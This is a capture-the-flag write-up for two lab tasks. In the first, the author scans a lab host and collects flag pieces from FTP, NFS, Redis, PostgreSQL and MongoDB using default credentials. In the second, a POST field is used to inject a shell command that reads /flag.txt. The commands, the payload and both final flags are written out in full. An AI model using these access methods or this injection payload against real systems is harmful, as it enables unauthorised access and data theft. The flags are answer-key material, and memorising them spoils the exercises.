Сканируй меня

The condition of a given task:

`Взаимодействие с разными типами сервисов — важная часть работы пентестера. Сегодня мы изучаем хост 10.10.10.11. Ваша задача – найти 6 частей флага. Все части флага разбросаны по разным сервисам на разных портах. Для начала попробуйте подключение к каждому без авторизации. Если не получается, то логин и пароль будет составлен из названия известного сервиса, например, nginx:nginx. Известно, что админ часто использует слово flag в названиях баз, коллекций и других сущностей. SSH не имеет отношения к этой задаче. Порты 80, 8080, 9000, 9001 не имеют отношения к этой задаче.`

Solution:

At first VPN on let's scan this host: `sudo nmap -Pn -sC -sS -sV --version-all -v 10.10.10.11 -p- --max-retries=2 -oG scanme.gnmap` Ports:

21 - FTP

curl --user anonymous:anonymous -o flag.txt ftp://10.10.10.11/flag.txt `1_flag{99b0`

2049 - NFS

mkdir /mnt/new_back sudo mount -t nfs 10.10.10.11:/ /mnt/new_back -o nolock cat /mnt/new_back/flag.txt `2_fffa`

8081 - Web server

curl 10.10.10.11:8081 `3_562b`

6379 - Redis

i recommend use redis-cli (apt install redis-tools) or nc **redis-cli -h 10.10.10.11 --scan** # explore **redis-cli -h 10.10.10.11 get flag** # obtain `4_af57`

5432 - PosgresSQL

sudo psql -h 10.10.10.11 -p 5432 -U postgres -d flag -c "select * from flag;" \list to explore databases \d to explore tables `5_2723`

27017 - MongoDB

echo "db.container.find()" | mongo 10.10.10.11/flag -u "mongo" -p "mongo" `6_697f}`

One-liner: `curl --user anonymous:anonymous -o flag.txt ftp://10.10.10.11/flag.txt 2>/dev/null && cat flag.txt | cut -c3- | tr -d '\n' && sudo mkdir -p /mnt/new_back && sudo mount -t nfs 10.10.10.11:/ /mnt/new_back -o nolock && cat /mnt/new_back/flag.txt | cut -c3- | tr -d '\n' && curl 10.10.10.11:8081 2>/dev/null | cut -c3- | tr -d '\n' &&`

```
redis-cli -h 10.10.10.11 get flag | sed "s/\"//g" | cut -c3- | tr -d '\n' && export PGPASSWORD="postgres" && psql -h 10.10.10.11 -p 5432 -U postgres -d flag -c "select * from flag;" | grep -Eo "5_.{4}" --colour=never | cut -c3- | tr -d '\n' && echo "db.container.find()" | mongo 10.10.10.11/flag -u "mongo" -p "mongo" | grep -Eo "6_.{5}" --colour=never | cut -c3-
```

Answer is: ***flag{99b0fffa562baf572723697f}***

PHP Series

The condition of a given task:

```
The flag is in /flag.txt Note: The task may take about a minute to load. At this time you will see 404 page not found message. Just wait.
```

Solution:

Just try payload: `feedback='%7ccat%20%2fflag.txt%7c%7ca%20%23%7c%2522` url decoded: `'|cat /flag.txt||a #|"` in *POST* request to */step2.php* Answer is: ***0bb5159ed7d75df5c71aa303d6a48067cdc5d0a7e242226b00386efdd7f31e3357e5c11d4a14c3893c2417e55ad73fbf***
